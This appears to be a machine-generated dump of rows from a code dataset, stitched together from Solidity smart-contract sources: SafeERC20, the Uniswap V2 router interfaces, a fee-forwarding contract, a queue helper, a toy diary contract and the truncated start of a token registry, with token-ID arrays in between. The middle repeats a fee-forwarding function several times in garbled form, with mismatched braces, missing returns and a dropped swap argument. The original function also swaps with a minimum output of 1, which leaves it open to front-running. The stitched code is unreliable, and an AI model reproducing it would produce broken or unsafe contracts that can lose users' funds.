that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts/hardworkInterface/IRewardPool.sol pragma solidity 0.5.16; // Unifying the interface with the Synthetix Reward Pool interface IRewardPool { function rewardToken() external view returns (address); function lpToken() external view returns (address); function duration() external view returns (uint256); function periodFinish() external view returns (uint256); function rewardRate() external view returns (uint256); function rewardPerTokenStored() external view returns (uint256); function stake(uint256 amountWei) external; // `balanceOf` would give the amount staked. // As this is 1 to 1, this is also the holder's share function balanceOf(address holder) external view returns (uint256); // total shares & total lpTokens staked function totalSupply() external view returns(uint256); function withdraw(uint256 amountWei) external; function exit() external; // get claimed rewards function earned(address holder) external view returns (uint256); // claim rewards function getReward() external; // notify function notifyRewardAmount(uint256 _amount) external; } // File: contracts/uniswap/interfaces/IUniswapV2Router01.sol pragma solidity >=0.5.0; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // File: contracts/uniswap/interfaces/IUniswapV2Router02.sol pragma solidity >=0.5.0; interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // File: contracts/FeeRewardForwarder.sol pragma solidity 0.5.16; contract FeeRewardForwarder is Governable { using SafeERC20 for IERC20; address constant public ycrv = address(0xdF5e0e81Dff6FAF3A7e52BA697820c5e32D806A8); address constant public weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); address constant public dai = address(0x6B175474E89094C44Da98b954EedeAC495271d0F); address constant public yfi = address(0x0bc529c00C6401aEF6D220BE8C6Ea1667F6Ad93e); address constant public link = address(0x514910771AF9Ca656af840dff83E8264EcF986CA); mapping (address => mapping (address => address[])) public uniswapRoutes; // the targeted reward token to convert everything to address public targetToken; address public profitSharingPool; address public uniswapRouterV2; event TokenPoolSet(address token, address pool); constructor(address _storage, address _uniswapRouterV2) public Governable(_storage) { require(_uniswapRouterV2 != address(0), "uniswapRouterV2 not defined"); uniswapRouterV2 = _uniswapRouterV2; // these are for mainnet, but they won't impact Ropsten uniswapRoutes[ycrv][dai] = [ycrv, weth, dai]; uniswapRoutes[link][dai] = [link, weth, dai]; uniswapRoutes[weth][dai] = [weth, dai]; uniswapRoutes[yfi][dai] = [yfi, weth, dai]; } /* * Set the pool that will receive the reward token * based on the address of the reward Token */ function setTokenPool(address _pool) public onlyGovernance { targetToken = IRewardPool(_pool).rewardToken(); profitSharingPool = _pool; emit TokenPoolSet(targetToken, _pool); } /** * Sets the path for swapping tokens to the to address * The to address is not validated to match the targetToken, * so that we could first update the paths, and then, * set the new target */ function setConversionPath(address from, address to, address[] memory _uniswapRoute) public onlyGovernance { require(from == _uniswapRoute[0], "The first token of the Uniswap route must be the from token"); require(to == _uniswapRoute[_uniswapRoute.length - 1], "The last token of the Uniswap route must be the to token"); uniswapRoutes[from][to] = _uniswapRoute; } // Transfers the funds from the msg.sender to the pool // under normal circumstances, msg.sender is the strategy function poolNotifyFixedTarget(address _token, uint256 _amount) external { if (targetToken == address(0)) { return; // a No-op if target pool is not set yet } if (_token == targetToken) { // this is already the right token IERC20(_token).safeTransferFrom(msg.sender, profitSharingPool, _amount); IRewardPool(profitSharingPool).notifyRewardAmount(_amount); } else { // we need to convert if (uniswapRoutes[_token][targetToken].length > 1) { IERC20(_token).safeTransferFrom(msg.sender, address(this), _amount); uint256 balanceToSwap = IERC20(_token).balanceOf(address(this)); IERC20(_token).safeApprove(uniswapRouterV2, 0); IERC20(_token).safeApprove(uniswapRouterV2, balanceToSwap); IUniswapV2Router02(uniswapRouterV2).swapExactTokensForTokens( balanceToSwap, 1, // we will accept any amount uniswapRoutes[_token][targetToken], address(this), block.timestamp ); // now we can send this token forward uint256 convertedRewardAmount = IERC20(targetToken).balanceOf(address(this)); IERC20(targetToken).safeTransfer(profitSharingPool, convertedRewardAmount); IRewardPool(profitSharingPool).notifyRewardAmount(convertedRewardAmount); } // else the route does not exist for this token // do not take any fees - leave them in the controller } } }
the targeted reward token to convert everything to
contract FeeRewardForwarder is Governable { using SafeERC20 for IERC20; address constant public ycrv = address(0xdF5e0e81Dff6FAF3A7e52BA697820c5e32D806A8); address constant public weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); address constant public dai = address(0x6B175474E89094C44Da98b954EedeAC495271d0F); address constant public yfi = address(0x0bc529c00C6401aEF6D220BE8C6Ea1667F6Ad93e); address constant public link = address(0x514910771AF9Ca656af840dff83E8264EcF986CA); mapping (address => mapping (address => address[])) public uniswapRoutes; address public targetToken; address public profitSharingPool; address public uniswapRouterV2; event TokenPoolSet(address token, address pool); constructor(address _storage, address _uniswapRouterV2) public Governable(_storage) { require(_uniswapRouterV2 != address(0), "uniswapRouterV2 not defined"); uniswapRouterV2 = _uniswapRouterV2; uniswapRoutes[ycrv][dai] = [ycrv, weth, dai]; uniswapRoutes[link][dai] = [link, weth, dai]; uniswapRoutes[weth][dai] = [weth, dai]; uniswapRoutes[yfi][dai] = [yfi, weth, dai]; } function setTokenPool(address _pool) public onlyGovernance { targetToken = IRewardPool(_pool).rewardToken(); profitSharingPool = _pool; emit TokenPoolSet(targetToken, _pool); } function setConversionPath(address from, address to, address[] memory _uniswapRoute) public onlyGovernance { require(from == _uniswapRoute[0], "The first token of the Uniswap route must be the from token"); require(to == _uniswapRoute[_uniswapRoute.length - 1], "The last token of the Uniswap route must be the to token"); uniswapRoutes[from][to] = _uniswapRoute; } function poolNotifyFixedTarget(address _token, uint256 _amount) external { if (targetToken == address(0)) { } if (_token == targetToken) { IERC20(_token).safeTransferFrom(msg.sender, profitSharingPool, _amount); IRewardPool(profitSharingPool).notifyRewardAmount(_amount); if (uniswapRoutes[_token][targetToken].length > 1) { IERC20(_token).safeTransferFrom(msg.sender, address(this), _amount); uint256 balanceToSwap = IERC20(_token).balanceOf(address(this)); IERC20(_token).safeApprove(uniswapRouterV2, 0); IERC20(_token).safeApprove(uniswapRouterV2, balanceToSwap); IUniswapV2Router02(uniswapRouterV2).swapExactTokensForTokens( balanceToSwap, uniswapRoutes[_token][targetToken], address(this), block.timestamp ); uint256 convertedRewardAmount = IERC20(targetToken).balanceOf(address(this)); IERC20(targetToken).safeTransfer(profitSharingPool, convertedRewardAmount); IRewardPool(profitSharingPool).notifyRewardAmount(convertedRewardAmount); } } function poolNotifyFixedTarget(address _token, uint256 _amount) external { if (targetToken == address(0)) { } if (_token == targetToken) { IERC20(_token).safeTransferFrom(msg.sender, profitSharingPool, _amount); IRewardPool(profitSharingPool).notifyRewardAmount(_amount); if (uniswapRoutes[_token][targetToken].length > 1) { IERC20(_token).safeTransferFrom(msg.sender, address(this), _amount); uint256 balanceToSwap = IERC20(_token).balanceOf(address(this)); IERC20(_token).safeApprove(uniswapRouterV2, 0); IERC20(_token).safeApprove(uniswapRouterV2, balanceToSwap); IUniswapV2Router02(uniswapRouterV2).swapExactTokensForTokens( balanceToSwap, uniswapRoutes[_token][targetToken], address(this), block.timestamp ); uint256 convertedRewardAmount = IERC20(targetToken).balanceOf(address(this)); IERC20(targetToken).safeTransfer(profitSharingPool, convertedRewardAmount); IRewardPool(profitSharingPool).notifyRewardAmount(convertedRewardAmount); } } function poolNotifyFixedTarget(address _token, uint256 _amount) external { if (targetToken == address(0)) { } if (_token == targetToken) { IERC20(_token).safeTransferFrom(msg.sender, profitSharingPool, _amount); IRewardPool(profitSharingPool).notifyRewardAmount(_amount); if (uniswapRoutes[_token][targetToken].length > 1) { IERC20(_token).safeTransferFrom(msg.sender, address(this), _amount); uint256 balanceToSwap = IERC20(_token).balanceOf(address(this)); IERC20(_token).safeApprove(uniswapRouterV2, 0); IERC20(_token).safeApprove(uniswapRouterV2, balanceToSwap); IUniswapV2Router02(uniswapRouterV2).swapExactTokensForTokens( balanceToSwap, uniswapRoutes[_token][targetToken], address(this), block.timestamp ); uint256 convertedRewardAmount = IERC20(targetToken).balanceOf(address(this)); IERC20(targetToken).safeTransfer(profitSharingPool, convertedRewardAmount); IRewardPool(profitSharingPool).notifyRewardAmount(convertedRewardAmount); } } } else { function poolNotifyFixedTarget(address _token, uint256 _amount) external { if (targetToken == address(0)) { } if (_token == targetToken) { IERC20(_token).safeTransferFrom(msg.sender, profitSharingPool, _amount); IRewardPool(profitSharingPool).notifyRewardAmount(_amount); if (uniswapRoutes[_token][targetToken].length > 1) { IERC20(_token).safeTransferFrom(msg.sender, address(this), _amount); uint256 balanceToSwap = IERC20(_token).balanceOf(address(this)); IERC20(_token).safeApprove(uniswapRouterV2, 0); IERC20(_token).safeApprove(uniswapRouterV2, balanceToSwap); IUniswapV2Router02(uniswapRouterV2).swapExactTokensForTokens( balanceToSwap, uniswapRoutes[_token][targetToken], address(this), block.timestamp ); uint256 convertedRewardAmount = IERC20(targetToken).balanceOf(address(this)); IERC20(targetToken).safeTransfer(profitSharingPool, convertedRewardAmount); IRewardPool(profitSharingPool).notifyRewardAmount(convertedRewardAmount); } } } }
1,099,208
[ 1, 5787, 20715, 19890, 1147, 358, 1765, 7756, 358, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 30174, 17631, 1060, 30839, 353, 611, 1643, 6914, 288, 203, 225, 1450, 14060, 654, 39, 3462, 364, 467, 654, 39, 3462, 31, 203, 203, 225, 1758, 5381, 1071, 677, 3353, 90, 273, 1758, 12, 20, 7669, 42, 25, 73, 20, 73, 11861, 40, 1403, 26, 2046, 42, 23, 37, 27, 73, 9401, 12536, 8148, 8285, 3462, 71, 25, 73, 1578, 40, 3672, 26, 37, 28, 1769, 203, 225, 1758, 5381, 1071, 341, 546, 273, 1758, 12, 20, 14626, 3103, 7598, 37, 5520, 70, 3787, 23, 8090, 28, 40, 20, 37, 20, 73, 25, 39, 24, 42, 5324, 73, 1880, 29, 6840, 23, 39, 27, 4313, 39, 71, 22, 1769, 203, 225, 1758, 5381, 1071, 5248, 77, 273, 1758, 12, 20, 92, 26, 38, 4033, 6564, 5608, 41, 6675, 5908, 24, 39, 6334, 40, 69, 10689, 70, 29, 6564, 41, 73, 323, 2226, 7616, 25, 5324, 21, 72, 20, 42, 1769, 203, 225, 1758, 5381, 1071, 677, 22056, 273, 1758, 12, 20, 92, 20, 13459, 25, 5540, 71, 713, 39, 1105, 1611, 69, 26897, 26, 40, 27246, 5948, 28, 39, 26, 41, 69, 2313, 9599, 42, 26, 1871, 11180, 73, 1769, 203, 225, 1758, 5381, 1071, 1692, 273, 1758, 12, 20, 92, 25, 26262, 2163, 4700, 21, 6799, 29, 23508, 26, 4313, 1727, 28585, 72, 1403, 10261, 41, 11149, 1105, 23057, 42, 29, 5292, 3587, 1769, 203, 203, 225, 2874, 261, 2867, 516, 2874, 261, 2867, 516, 1758, 8526, 3719, 1071, 640, 291, 91, 438, 8110, 31, 203, 203, 225, 1758, 1071, 1018, 1345, 2 ]
./partial_match/1/0x72AD58f0917deB04eC8b6AdA584ABd0dBe502128/sources/StrategyQueue.sol
@notice Link two nodes @param _prevId id of previous node @param _nextId id of next node
function _link(uint48 _prevId, uint48 _nextId) internal { if (_prevId == EMPTY_NODE) { _setHead(_nextId); nodes[_prevId].next = _nextId; } if (_nextId == EMPTY_NODE) { _setTail(_prevId); nodes[_nextId].prev = _prevId; } emit LogNewQueueLink(_prevId, _nextId); }
3,586,931
[ 1, 2098, 2795, 2199, 225, 389, 10001, 548, 612, 434, 2416, 756, 225, 389, 4285, 548, 612, 434, 1024, 756, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 1232, 12, 11890, 8875, 389, 10001, 548, 16, 2254, 8875, 389, 4285, 548, 13, 2713, 288, 203, 3639, 309, 261, 67, 10001, 548, 422, 8984, 67, 8744, 13, 288, 203, 5411, 389, 542, 1414, 24899, 4285, 548, 1769, 203, 5411, 2199, 63, 67, 10001, 548, 8009, 4285, 273, 389, 4285, 548, 31, 203, 3639, 289, 203, 3639, 309, 261, 67, 4285, 548, 422, 8984, 67, 8744, 13, 288, 203, 5411, 389, 542, 12363, 24899, 10001, 548, 1769, 203, 5411, 2199, 63, 67, 4285, 548, 8009, 10001, 273, 389, 10001, 548, 31, 203, 3639, 289, 203, 3639, 3626, 1827, 1908, 3183, 2098, 24899, 10001, 548, 16, 389, 4285, 548, 1769, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/80001/0xa4673D95116EbCF93413cf3ac042a385fCbA08cF/sources/contracts/Contract.sol
setting up the owner to the address user selects
contract MoodDiary{ string mood; address public owner; pragma solidity ^0.8.9; constructor (address _owner) { owner = _owner; } function setMood(string memory _mood) public { mood = _mood; } function getMood() public view returns (string memory) { return mood; } }
5,669,186
[ 1, 8920, 731, 326, 3410, 358, 326, 1758, 729, 19770, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 490, 4773, 14521, 814, 95, 203, 202, 1080, 312, 4773, 31, 203, 565, 1758, 1071, 3410, 31, 203, 203, 683, 9454, 18035, 560, 3602, 20, 18, 28, 18, 29, 31, 203, 565, 3885, 261, 2867, 389, 8443, 13, 288, 203, 3639, 3410, 273, 389, 8443, 31, 203, 565, 289, 203, 377, 203, 565, 445, 15430, 4773, 12, 1080, 3778, 389, 81, 4773, 13, 1071, 288, 203, 377, 202, 81, 4773, 273, 389, 81, 4773, 31, 203, 565, 289, 203, 377, 203, 565, 445, 2108, 4773, 1435, 1071, 1476, 1135, 261, 1080, 3778, 13, 288, 203, 202, 202, 2463, 312, 4773, 31, 203, 565, 289, 203, 97, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** // IMPORTANT: Developer should update the ISecurityTokenRegistry.sol (Interface) if there is any change in function signature or addition/removal of the functions from SecurityTokenRegistry & STRGetter contract. // */ pragma solidity ^0.5.0; import "openzeppelin-solidity/contracts/math/SafeMath.sol"; import "openzeppelin-solidity/contracts/token/ERC20/IERC20.sol"; import "./interfaces/IOwnable.sol"; import "./interfaces/ISTFactory.sol"; import "./interfaces/ISecurityToken.sol"; import "./interfaces/IPolymathRegistry.sol"; import "./interfaces/IOracle.sol"; import "./storage/EternalStorage.sol"; import "./libraries/Util.sol"; import "./libraries/Encoder.sol"; import "./libraries/VersionUtils.sol"; import "./libraries/DecimalMath.sol"; import "./proxy/Proxy.sol"; /** * @title Registry contract for issuers to register their tickers and security tokens */ contract SecurityTokenRegistry is EternalStorage, Proxy { /** * @notice state variables address public polyToken; uint256 public stLaunchFee; uint256 public tickerRegFee; uint256 public expiryLimit; uint256 public latestProtocolVersion; bool public paused; address public owner; address public polymathRegistry; address[] public activeUsers; mapping(address => bool) public seenUsers; mapping(address => bytes32[]) userToTickers; mapping(string => address) tickerToSecurityToken; mapping(string => uint) tickerIndex; mapping(string => TickerDetails) registeredTickers; mapping(address => SecurityTokenData) securityTokens; mapping(bytes32 => address) protocolVersionST; mapping(uint256 => ProtocolVersion) versionData; struct ProtocolVersion { uint8 major; uint8 minor; uint8 patch; } struct TickerDetails { address owner; uint256 registrationDate; uint256 expiryDate; string tokenName; //Not stored since 3.0.0 bool status; } struct SecurityTokenData { string ticker; string tokenDetails; uint256 deployedAt; } */ using SafeMath for uint256; bytes32 constant INITIALIZE = 0x9ef7257c3339b099aacf96e55122ee78fb65a36bd2a6c19249882be9c98633bf; //keccak256("initialised") bytes32 constant POLYTOKEN = 0xacf8fbd51bb4b83ba426cdb12f63be74db97c412515797993d2a385542e311d7; //keccak256("polyToken") bytes32 constant STLAUNCHFEE = 0xd677304bb45536bb7fdfa6b9e47a3c58fe413f9e8f01474b0a4b9c6e0275baf2; //keccak256("stLaunchFee") bytes32 constant TICKERREGFEE = 0x2fcc69711628630fb5a42566c68bd1092bc4aa26826736293969fddcd11cb2d2; //keccak256("tickerRegFee") bytes32 constant EXPIRYLIMIT = 0x604268e9a73dfd777dcecb8a614493dd65c638bad2f5e7d709d378bd2fb0baee; //keccak256("expiryLimit") bytes32 constant PAUSED = 0xee35723ac350a69d2a92d3703f17439cbaadf2f093a21ba5bf5f1a53eb2a14d9; //keccak256("paused") bytes32 constant OWNER = 